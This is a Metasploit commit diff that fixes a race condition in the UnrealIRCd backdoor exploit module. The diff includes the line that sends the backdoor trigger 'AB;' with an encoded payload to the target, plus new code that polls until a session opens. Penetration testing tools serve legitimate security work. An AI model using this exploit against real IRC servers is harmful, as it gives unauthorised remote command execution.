Fixes unreal ircd race condition

Handler would exit before finishing staging
unstable
David Maloney 2012-05-21 17:46:08 -05:00
parent 2e9658f582
commit 54fb6d2f7a
1 changed files with 6 additions and 1 deletions

View File

@ -73,7 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
handler
# Wait for the request to be handled
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end